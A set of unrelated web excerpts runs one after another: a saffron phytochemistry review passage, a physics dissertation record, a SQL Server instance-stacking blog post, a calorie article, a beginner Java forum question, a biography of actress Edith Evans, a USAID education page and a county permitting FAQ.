Among the phytoconstituents, there have been described several compounds that are thought to be the chemical determinants of the bitterness, scent, and color of saffron. These are formally terpenoids or thought to be derived from terpenoid precursors. In particular, these are the apocarotenoids such as trans-crocetin and its glycosylated forms (crocins), especially trans-crocetin di-(β-D-gentiobiosyl) ester and trans-crocetin (β-D-gentiobiosyl)-(β-D-glucosyl) ester, together with picrocrocin and safranal (Figure 1), formerly a monoterpene glycoside and a monoterpene, respectively, and believed to be degradation products of zeaxanthin.
As minor components, which also contribute to the spice color and biological effects, there are a series of glycosidic derivatives of kaempferol (Figure 1) and quercetin. Other minor components that contribute to the peculiar aroma of saffron are volatile compounds related to isophorone.
Obviously, several of the medicinal and healthpromoting properties attributed to saffron are due to the presence of these compounds. For example, safranal, in addition to its antioxidant and radical-scavenger properties, is useful as an anticonvulsant and antidepressant in preclinical models. Due to the high added value of saffron as a spice and of its chemical constituents mainly related to the healthy properties, the studies on saffron and its plant source (C. sativus) are in the limelight, especially concerning the analytical methods used to evaluate the quality and to identify marker compounds related to the country of origin.
In this updated review, the following aspects of Crocus plants are considered: traditional uses, phytochemical composition, pharmacological properties with mechanisms evidenced from in vitro and in vivo studies, clinical studies, toxicological data, and upcoming clinical perspectives.
Post a Comment
The best natural Antioxidant


Files in this item
FilesDescriptionFormat
application/pdf
application/pdf1984_wade.pdf (4MB)Restricted to U of Illinois
1984_wadePDF
Description
Title:The coincident measurement of neutron-proton pairs from the photodisintegration of lithium-6
Author(s):Wade, Michael William
Doctoral Committee Chair(s):Koester, L.J.
Department / Program:Physics
Discipline:Physics
Degree:Ph.D.
Genre:Dissertation
Subject(s):coincident measurement
neutron-proton pairs
photodisintegration
lithium-6
bremsstrahlung photon beam
quasideuteron correlations
Abstract:A 100 % duty cycle bremsstrahlung beam with a 67 Mev endpoint energy was used to produce neutron-proton coincidences from the photodisintegration of 6Li. The proton energy was measured with a 6E-E scintillator telescope; the neutron energy was determined by measuring its time of flight across two meters. The energy and angle of the np pair were used to determine the photon energy for each event through the use of 6Li(y,np)a kinematics. A 2H target was used to calibrate the detector system and to normalize the 6Li data. Quasideuteron correlations between the neutron and proton momenta (direction and magnitude) were observed. The ratio of the quasideuteron photodisintegration cross section for 6Li , daqd/dO' to that of 2H, p dad/dOp' was found to have the values .084 ± .009, .17 ± .01, .31 ± .02 and .43 ± .04 at photon energies of 30, 40, 50 and 60 Mev, respectively (at 90° in the center of mass systems of both the deuteron and quasideuteron). A 2S harmonic oscillator momentum distribution of the np pair momentum transverse to the photon beam, which was assumed to be equal to the transverse momentum of the quasideuteron inside the nucleus. A value of qo = 84.5 ± 5.3 Mev/c was obtained, which corresponds to a FWHM of 89.4 ± 5.6 Mev/c. This was in good agreement with values obtained in 6Li(n-,np) and 6Li(p,p'd) experiments. The same momentum distribution used to calculate np angular correlations predicted widths greater than those observed at photon energies less than 45 Mev. Events consistent with the two-body photodisintegration of 6Li into a proton and SHe were also observed (SHe decays to an alpha and a neutron). The ratio of the cross section for this two-body break up of 6Li , dG2/dQp' to that of 2H was found to have the values 1.18 ± .26, 1.00 ± .23, 0.87 ± .22 and 0.19 ± .07 at photon energies of 30, 40, 50 and 60 Mev, respectively (at 84 degrees in the laboratory).
Issue Date:1984
Genre:Dissertation / Thesis
Type:Text
Language:English
URI:_URL_
Rights Information:1984 Michael William Wade
Date Available in IDEALS:2011-06-07
Identifier in Online Catalog:799404
This item appears in the following Collection(s)
Item Statistics


A debate that is common among DBAs and possibly Architects, is whether should an organization use the what-so-called "SQL Instance Stacking" in order to deploy more than one SQL instances under the same OS, usually a Windows Server system.
Let's just see the advantages and disadvantages listed below:
Pros
Benefits Consolidation as several systems can be consolidated under one centralized Windows Server/SQL Database Server.
Benefits System Resources Availability as by consolidating servers, resources might get released and available for other purposes (CPU/RAM mainly).
Benefits Licensing for both Windows and SQL, as you practically reduce the deployed Windows and SQL installations to one per platform.
Benefits OS Patching as there would be only one Windows system to be patched against x former ones.
Benefits SQL Patching as the SQL Patching tool will identify all instances and will ask to include them in the patching sequence. Of course, this would partially be feasible for all instances as they might have different maintenance windows etc.
Cons
Complicated Maintenance Planning in terms of rebooting the system, as DBAs have to get approvals from all Application/Data Owners of all instances for a specific (yet common to all) maintenance window and reboot activity.
Security level is not the ideal (out of the box) when requests for accessing the server will start coming through (especially if some Databases are related to 3rd party vendors that might request RDP sessions to the server), or when the standalone servers where in different VLANs with different security policies defined by the Security administrators.
Possible performance issues that could arise if certain activities occur on one or more instances (i.e. backup, massive data entry for ETL etc).
Last modified: April 29, 2022
Author
Comments
Write a Reply or Comment


UC MagazineUniversity of CincinnatiUC Magazine
UC Magazine
Obesity: Does one potato chip really matter?
Does one potato chip really matter?
by Dama Ewbank
The body is a finely tuned machine. So fine-tuned, in fact, that the difference between maintaining body weight and gaining one pound a year could be as little as a single potato chip per day.
Randy Seeley, professor of medicine and director of the Cincinnati Diabetes and Obesity Center, estimates that an adult man would need only 11 extra calories per day to gain a pound each year.
Let's do the math:
A typical adult male consumes 900,000 calories each year.
To gain just one pound each year, he would need to eat about 4,000 calories more than he burns.
4,000 calories divided by 365 days = approximately 11 extra calories per day, or about one potato chip.
"When you look at how obesity has affected our country," says Seeley, "and you realize that the average person — someone who may be considered overweight — is gaining less than one pound per year, it's easy to see how accurate our bodies are at matching our caloric intake to caloric expenditure. Relatively small mismatches over time are all that are necessary to gain weight."
So, yes, Seeley says, one chip really could matter, but he's quick to caution that his calculations don't take into account variability be-tween individuals and environmen-tal and genetic factors that contribute to weight-gain susceptibility.
More from UC's obesity expert


CONVERTING A TEXT FILE TO AN ARRAY IN JAVA
Pravesh Singh
Total Post:412
Points:2888
Posted by Pravesh Singh
Java File Array
 1205 View(s)
Ratings:
Rate this:
I'm a beginner at Java and have a list of 25 students that include their name, age, income and IQ in a text file. I'm struggling with how to take this text file and put it in an Array so that I can sort them and such. So far I have:
File myFile = new File ("./src/Project2/StudentList");
Scanner myScan = new Scanner(myFile);
while (myScan.hasNext()) {
 String line = myScan.nextLine();
 Scanner scanner = new Scanner(line);
 scanner.useDelimiter(",");
 while (scanner.hasNext()) {
 String name = scanner.next();
 String age = scanner.next();
 String income = scanner.next();
 String smart = scanner.next();
 Student students = new Student(name, age, income, smart);
 System.out.println(students);
 }
}
I just want to know the easiest way to go about this. I'm so close, I can feel it! Thanks in advance.
 1. Royce Roy
 Post:149
 Points:1043
 Re: Converting a text file to an array in Java
 Define your array:
 Student[] students = new Student[25];
 int i = 0;
 then in your loop
 Student student = new Student(name, age, income, smart);
 students[i++] = student;
 or dynamic array
 List<Student> students = new ArrayList()<>;
 and in loop:
 Student student = new Student(name, age, income, smart);
 students.add(student);
Answer
NEWSLETTER
Enter your email address here always to be updated. We promise not to spam!


text:
Dame Edith Evans
- (1888 - 1976) Outstanding British actress, who for over60 years enchanted audiences in the theater and the cinema both incomedy and high drama. She made her London debut in 1912, as Cressidain William Poel's production of Troilus and Cressida; her lastappearance, at the Haymarket Theatre in 1974, was in an evening entitledEdith Evans and Friends. Between these two milestones she actedin many productions of Shakespeare's plays (including two spells atthe Old Vic), a number of Restoration comedies, and a great varietyof modern works, including the first production of Shaw's HeartbreakHouse in 1921. Her performance as the haughty Lady Bracknellin Wilde's The Importance of Being Earnest, has been a favouritewith two generations: she first appeared in the stage play in 1939but gave a memorable reading in Anthony Asquith's 1952 film. KennethTynan wrote of dame Edith speaking the lines in "a voice whichhad lorgnettes implicit in every dragged and devastating syllable."


text:
Over the past 20 years, U.S. assistance has helped to rebuild and reform the educational system in Georgia. USAID's programs have helped to train teachers, renovate schools, improve the management of the educational system, and create vocational and higher educational programs that serve the needs of a growing economy. USAID continues to invest in primary education to improve reading and math skills for girls and boys in primary school and support targeted vocational training programs in the areas where high employer demand exists. Programs that advance university-level teaching in Georgia's most promising competitive sectors enhance the workforce with competitive skills and higher paid job opportunities.
Georgia Primary Education Project (G-Pried)
Oct 2011 – Oct 2015
The goal of the G-Pried project is to provide comprehensive assistance to the primary education system to improve reading and math competencies of Georgian and ethnic minority students. This will be achieved through supporting instructional improvements, testing and improving standards, use of technology, and development of subject experts in reading and math in schools as well as in the education departments of Georgia's universities.
Last updated: May 10, 2013


Why are there stipulations on the approval certificates?
Restrictions and conditions related to an approval are listed as stipulations on an approval certificate. Stipulations are approval specific and are requirements in addition to the requirements of the rules and regulations governing water or wastewater treatment facilities, reclaimed water facilities or reuse water systems.
Stipulations listed on an Approval to Construct, Interim Approval to Construct, Approval to Commence Operations or Approval to Decommission certificate must be completed before proceeding to the next step of the approval process.
Stipulations listed on an Approval of Construction, Approval of Blending Plan or Approval to Proceed certificate become the restrictions and conditions of the operating permit issued by the Maricopa County Environmental Services Department for a facility or system. For more information, please call _PHONE_.
Show All Answers
3. When is an approval required?
4. How are approvals made?
5. What are approval certificates?
6. Why are there stipulations on the approval certificates?
9. When can I start construction on my project?
13. Can I renew an expired approval certificate?